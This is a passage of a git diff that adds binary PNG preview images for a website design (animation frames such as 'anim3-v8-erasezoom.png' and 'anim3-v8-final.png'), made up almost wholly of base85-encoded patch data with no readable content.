z5j*TMM6w(lj1w34G6MkFg8&CZ%})ZX47yXpiR zL=(+pV^z@OM9IrJB;8tKGtzuOt^}2E#w7!wF41l3QZ165AJwR}Ffq%6N~pmI76F;; zfGl<{AFC1z`zLW1?wtOxO6K-g?Udb(IOgXUcvi{iZhn5gFM-SDVw1c>oSx&HWukBzgj`4hmfC7urfkiZ1|wodY!d*5L(0jmn)TM#e%h?4n3e5nYnvFm za7G*QTiAk5cZaq+L~zp`>4=-TaX@a8)0=}Hp(IFqQgy97i9Mb}yj&s6^%UL7?*&Ob5jZ%gJX zvszx$4tV1L=mgKH0;~6)_4W0=YJA(d%PTN2uoq#c_pFuT9ToKubVv3+TRt{7E}HUF zaxRo}_7a8o7#|{CMukecbjk_f1-#W5a_KE}L^#?H1pLuHHQCAM8fmc$Gxc#z0Be6I za}W(%%v-#x#W^`x;u5xu&6s{J+^PGlAc=m~?KspiSbh&pT&@YW7ccdE0>#a2gjh;) zUB=l`BCkOYH|^!e0>5VQWemM}3f|ya=#?_J*qJw|w{Krt(JEz2`c;q%EdGH`;FJdw6dfm`RhyQ z4MpYUbw#*{kiv0t@{^TQRZrb6pCveV+w-Pl05gxU)I$rrM6VnpBO|XYa$p=lkrv8ERtLO;49=hNE{jF2g83!;b};}IP<$d_;_^3VlQRiCUW3?i2)BDLKxDd~k16M0@8 z>9%8!%J%~KiE^%11~XL``y|Z`Pwxb3WB(NC;wDGXaCy0j;ro;s785LR1-+*A+!=QYBP-`*|2uSy8YwazU zW&B0F_$HBk=g~x7;SLU$Yiv>{T6Kq~V!*gtP=`>u2{3W<+>CSB6W38t1GeGifWrZe zzGFtgjgvLOFk8aWif7icr8*x1qus~{v2+tT_Hp!aTvUfUR9KZF;REf7h2X!f4eYy0 zYlLi|1_Kbwtiv^6t5i3c~x1xRNZzjY^V1kaKb>OVZ8&^D~f+!ThkRfLIB5i^Rmot;NFC0EMPl z!VIPF4o6jItdd?_OT7$CUOep!7tqQUzMtWcag|m9nalMsY8KC{wD;`y=zs0Vc&&`= ztA;Tt8oImHU#3`+h%+m4!5pXv!A~a1kx?BOWlZwF<5awrYnC?IF1tUP@1RKvbI|B@PUDWnkdo^=>9x|_M67LO@Ho+*LU?t1heoEf&9V8Si~^GPRbMZOZU^)p3_F z?nssM>8+pMY#qDaah}}u=!IgD? zmNGMQ2B=yhk%)W`()t_#=HYu<8&DpLphBcYxz|Rro6}VzyF#|d3RT^EHw>{mWv_e> z%+U$U70PjKg=VuXi=T7}1?7j+f}Rfm>1%`1LIYa|O`I!6r~Jb*9wCqR^^Jq9S!v~a z-N}r;VoiIr9rZb2MW^lUyZpON{pB)zZw_q*7bRzy)Ex1@M?ZO0xA}f1%0B^X(Ebsp z;#ajdCr+{?@HqSshA1 z>?8h|ivrM?xG6ahNcnS-d(LVz9=C)__%<52LN`>_s!O%dOT)lpv^$(W4h|Yu_~}9i zhfI|qMC4CV6n9GiIc8_OiWT9pu|OFO0B%;Q_E<5n+VJ_#s&0$urQ@e=+#sLV#gID6 z%=#x5n|Bq6k>48{8}HhJTfCc=8Ub~xF9TJr;=eyaodGDH62lA!XIfkcTnJ3_pV?aD ze-5#!b(lK}Xyn?wpoU=!9VS8mGyBj-B7F9kg~Ba$oa+7a$vr@m!t+gzE`|$PVIO;Y z%}jg96pA|oYJ0I=rE3*yXw<;FGNl_gCS6~?#quq8I|(gxuPP`A-9A=krne$Q09ATf ztllYw*2~*e7Q%4DS1tp-Q-spegP_abdJp#YUce;~o;7&G>&?Jm&5ETabPk<9=%(v@ zC}T}*AfH9golnQ^r};d1m|)Iq=d*k;hU~n@>?l zF1?DnYF}Ih_X22*@_raxAASOv_xH_LTcM#7Knny07BT(d5obfaJDbx-CadqT1+Xz< zb%EBO?+WHyZZr!7(*+;M0O5HVF9Hnw9L&&;))J$y zCex{33FZA7Ds-z>5Q#-P4c=DP8<-#C?eRr8EKv?9w*6UcAA2DEPiB@>>2=P6F}b<9 zX%SUd58G`0#myXozHdFB6%muzJ>nY>aCrCD#2xeZ6ub+8HiS2qXrbEIeqLBuU_MtZ z%LB>tX0!rxS1Vt*0(Y!MLo^VCNml@nYVdW zV{5!teu6vO+1XVq0Dd6mujwC8OdyY#C%NT0ZgZZsO;B9ZZb&v`Bm-@+?0i~u#huJ; zBgi`K$Ho$$EB~nbfv_TSwqfVN$(*HU0IINM^!y=zgt|*003LWSsqHSa-=#7SfYT6O zs;TOcom;{XBm#lZUdEjG-Od9F4YrMmVLiGVAv40xi8?(Z^tT)x7%?#B@wlj&T}xHQ zsEEaU`@PN0R*6~!So9BXX9xVF!19l0$N3wtzU&h}xDxqsHK)b`?e7Re2#5JA!@HGj z(PaJO`CWrO0Dgaa2MmR-g836S*(-o1l$I`F1*c~-R_u;lFqrrUpLcazhwrzJUbCw} zqw-MmZ`Te^+uH6mjW~JoZbwG>84q4Lm00=W$pF)Hr)fT5^N2jtTk2k@@bK^*9DZ_& zg}-8Qdm?g5e!lB8)BhttIy%FPF10hJi2MKW*rudZS6yqfDvR>j`1iY4Z319$)YY@C zSU<770s=~K*obHHGv6L90+dEMGYfWkd~~#tN^iq3b06pj14{xx6^tMb;{}BRj@)mz zT6Tu88dyM*dGJBw>gvdCJK*V#bf9%k{9);MsI4b73b^ccf@VS9&(O!7)mF#ZIbh?CrHXydgZyMdvnODR zWUeKe6cMf)1w8XsK!6$uq^=4?PoJP5O)Ov4p7-&d4*$aARA4V;V;Qgs(&f9hF&oO7 zZ!5rut~K&Fklb*^{@BzDbmt;N>M(Bp4CyUgE_!_NfZ5zC$*tdAnR;ROaY0oYiKeEW zJtvv7JD2Ir1xWAwxf!x%(k;qRd*rI*HSNFTM&jLhg z+j1KIj`Ed*JJrPc? zxcBL=!vAj+zadSFz z-W5YX9KdQPd5qKC$8GV*T>9h*8` zbqx2|c`KTV>iIZ6u2ON3#*R<;{^51vw$$0Xoqib~ zr!ZZQ8M7O9XWY0<+V8vw;O!J%NN75Vv9~hS?F{;=Ni*xT;7BH~@L5Ig+lf5ti)07z znHf`JLGLj-0EvdfS04}_Ugql$9qjMlQ*pFu*UR>eeJAfd&Il^k@YJ;Wq>-KT#PaF3 zs~7vU@F{Xv*rW&#IETx@0lv3_{D2(cfvHRUi9Bt@Zr5v+o6CDlfIcd9_5RjvG&Zi# zaFyCO?HTWnneLfbl-j~~aJi969FXb^Ymb`7&zhRsf&ms#JMA2^pKt&)fQGn}GtK~Y zB@KwbD+37p8kVoECx>35<%ObiqUk*PP<3LVt-|?3HVUojV3O~p@k5ZhOlqt_*6YV$ zfSK)iAKGGj(!@Swonv4ocez-$PiR--hmdP~!hMwfL z(-ehWK7Sl1`2EE8wx;2yjUiq^EAcuh01MSXe-oXeQub}(v9&w(djjos;n`TG-d;m< zQ~e&?E<6fz9V(!hGNesu`f5uP2Z0@K$>YxG1a?sGZ82Ap5e1v}+6%^L49GDEN zw^uj-JQ(*OB2t%ijc^F|Q&*_y6UTQ@rA))3J{%65_jm%#{hNso1`;Q;70xfeDmXj> zGCHk40s;&r%HO=PEaE#0H!A#cGJSOm@y)fJzW@97|64f_Fiy9D9}w_d{k?$yUGLRj zCHP-u|NmCm|6eLNTfR|2K`!5t>+~AU literal 0 HcmV?d00001 diff --git a/website-design/previews/anim3-v8-erasezoom.png b/website-design/previews/anim3-v8-erasezoom.png new file mode 100644 index 0000000000000000000000000000000000000000..015409653f32e68a3df22076614e81afe73bfb3b GIT binary patch literal 3009 zcmV;y3qJITP)QJ8#mpMTzN`{>GGe0`S*t$iR{ViC_98vooK|Spw0rOr2Pk1YNn3OarsbRIDfo z8Y&D&Rsdp9bd+&!$mG0+ccUSau_B&ZlqfPVH?Zjdwxa0EvQbndbv;B9Pb3U2$KvS4 zrEz3aAd`t)bfgAi7MeMa#xIqO6>*FfEFurW6$)9a4g|vwE#WKNZjaaRkew_j$Kx@h zdW*-E_?4^QEFoh6)uOFFD;S@Q!iCAbUY|cOE*$Re?;ijdfH4e*A-REJm`I(kyvkSY zuJm?wb;1}%gh+CO09uAHm6sh(pTDN3Ck$g44RZ3z5x`ttmbIxihEc&PrBQ42d?=a# zs~#A`P+&3+R3icipWn}fLuZ4jRK+S2N>B}#7A}_ywHzQn0jv*Us0uO#2U#B_=)Ek^ zS^@>jm9mOR4yUWSwywXor@yafgke=xRfd-FB8LgH_qCLfhJs|BRg+?s;|q|}*8JnJu%iu0zQS&;0p(`*Bov%E-d!bu=0cg+krkwWK@h~o zNz*zz-v@iZ?RFC%rct@l0EGg$o756>B!}a@2nN=@T#R+k4^v=kC1c{yFm( zq43PfqeZp>@Uy`Rs^lJ*T3TjhIZ_XTS%nMq^!v8#G7gU&KDhgl?Y-e{Lo(wNt&BNy z>L?T)$=N_Q640##I-Sz?f#QvI~x z#HQfHX~E#++SGS}c`u9UVED0Midd>RT)gCY#a$2=xCQoKVaZ_}<4Ici*`t)H=r;E2iPq^#f2Oj;x9ShK% zD=J-JHu^#X7uzpgJa?(1{Zh{dedz;ax;z7VG&h;zY$#@mPO-t+((A} z{qIKhUB7HLEoFVuKwg4c8E4O)A>|f8A*3t7rHynbuvXqBbMytk&PaV%5`bX;u8fItQB6D zR$w#*YbIt)eWD;wsae9?;DH~m<$DzjDK@8S&$k**M^G()JS^NHMh zN|@ENx4~d!@SV3VR4Z+U4R94RlMR;Lwx;dIFKff>WCPH1gK80lyjFfr{kMJkoGBRe z2YMnHj#*p|T^fFgc4Z2&YVF|}E>mDQ|W0S3?px2?ICm#n^PeV}Gs$}rvrvBBsc9^PzQ8-Ufh zf#hma&A{8hxWTx#Zo-BwzpEQxZwyPZ!SA#@WGmK<0nm>4rGs4C0YXQvEuf-jI(xb-C%zk05gN;xY~mr z(j2-lxx3PMVie^n8z0^;mg~{oXg9*Lvxoz5Z$2Z?Nbo|JF__ucN+V;}(e@_{YHrW64lTaqm zo*=`yF;7j9(_I0%^}4YeIAi9F`uciaXl${5`|PRoQ*cf!ym^^%`0QUFFC!ZOxf2vp z+<3@UaN%;Slq5N~Y)%fH>%L-mm za$a(XUcQ{(n(eyO!I)3Yx&GR@3k>=AiIcwjqpil_EC2e(<2!x|)~=a9`4c#XDi?-Nh&*#%{bl-XcDt#EsS;~Py}a;Trw^qIEBt#fYxYJm4T-r4)7 z-wwOfQx@=eJmmHyt8;_XRWW|TWc%C!S7cPUD^SZAmyx(DD*=-GC3xsJ@(aNAr_JP* zL>b%+laj zif8f+lZV4$nQox~bGxcMRaE=V26REgmr>b*n7o$F=hM<8Ov~iXyAW3FSDX|h;riad{XP^>`O7PMu0H>YYOOhSgHW!pXmG&vhA zc}xK1^LUhuBxTzT!~_@)(a@YZ0oor%Zm^K5bVG4Y^F0!YoIQJXYE#o-G)lA_E+_%o zA9xi#Rrgz!^Icm>*oTO7VL@jdNc=1cy@R66@4{bD7f5U8O5k1Nn)&A zAKY9F6eBl~1vtq8W5^7VE(>t$#}@E;>B2 zCufueWUiXm7Lhq>j$9d=4WmKib`=R})ExO(ZWtA!7RPCcZxOHNep~Lx4KlaqQQ)=! zb5|1u%a!6j3A7yX5dZ)H|Nj#FOWptg00v1!K~w_(xbkB7JW1KE00000NkvXXu0mjf DE_t@a literal 0 HcmV?d00001 diff --git a/website-design/previews/anim3-v8-final.png b/website-design/previews/anim3-v8-final.png new file mode 100644 index 0000000000000000000000000000000000000000..a11c60419ecc7e326aeb1559dfce35d048dd2d68 GIT binary patch literal 20629 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 